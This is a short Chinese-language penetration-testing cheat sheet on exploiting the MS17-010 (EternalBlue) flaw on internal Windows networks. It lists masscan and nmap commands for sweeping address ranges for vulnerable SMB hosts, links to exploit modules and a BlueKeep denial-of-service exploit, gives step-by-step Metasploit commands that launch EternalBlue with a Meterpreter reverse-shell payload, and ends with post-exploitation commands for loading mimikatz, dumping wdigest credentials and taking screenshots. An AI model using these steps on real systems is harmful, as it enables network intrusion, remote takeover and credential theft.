内网远程溢出漏洞利用

Posted 2022-07-04 17bdw

MS-17010

信息探测-参考资料

https://masterxsec.github.io/2017/05/27/Metasploit%E4%B8%AD%E7%9A%84MS17-010/
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue

其他 exploit

https://github.com/jflyup/goMS17-010

也可以使用 msf 自带的 scanner 探测 auxiliary/scanner/smb/smb_ms17_010

sudo masscan -p445 192.168.1.1/16 > 445_open.txt
vi 445_open.txt [ctrl+v G wwww d :q]
nmap --script "smb-vuln-ms17*" -Pn -iL 445_open.txt > 17010.txt

Nmap 与 17010

nmap 192.168.1.1 --script smb-vuln-ms17-010
nmap 192.168.1.1 -Pn -sn --script smb-vuln-ms17-010 
nmap -iL list.txt -Pn -sn --script smb-vuln-ms17-010
nmap --script "smb-vuln-ms17*" -Pn -iL 445_open.txt > 17010.txt

Microsoft Windows Remote Desktop - ‘BlueKeep‘ Denial of Service (Metasploit)

https://www.exploit-db.com/exploits/47120

漏洞利用-msfconsole

use exploit/windows/smb/ms17_010_eternalblue
show targets
set TARGET <target-id>
show options
# set payload windows/x64/meterpreter/reverse_tcp
# set payload windows/meterpreter/reverse_tcp
set RHOST <remote_host>
set LHOST <0.0.0.0>
options
exploit

Nmap编译

从源码编译 Nmap compile nmap

$ sudo apt-get install git wget build-essential checkinstall libpcre3-dev libssl-dev clang
$ git clone https://github.com/nmap/nmap.git

Meterpreter

msf>
load mimikatz
wdigest
screenshot
sysinfo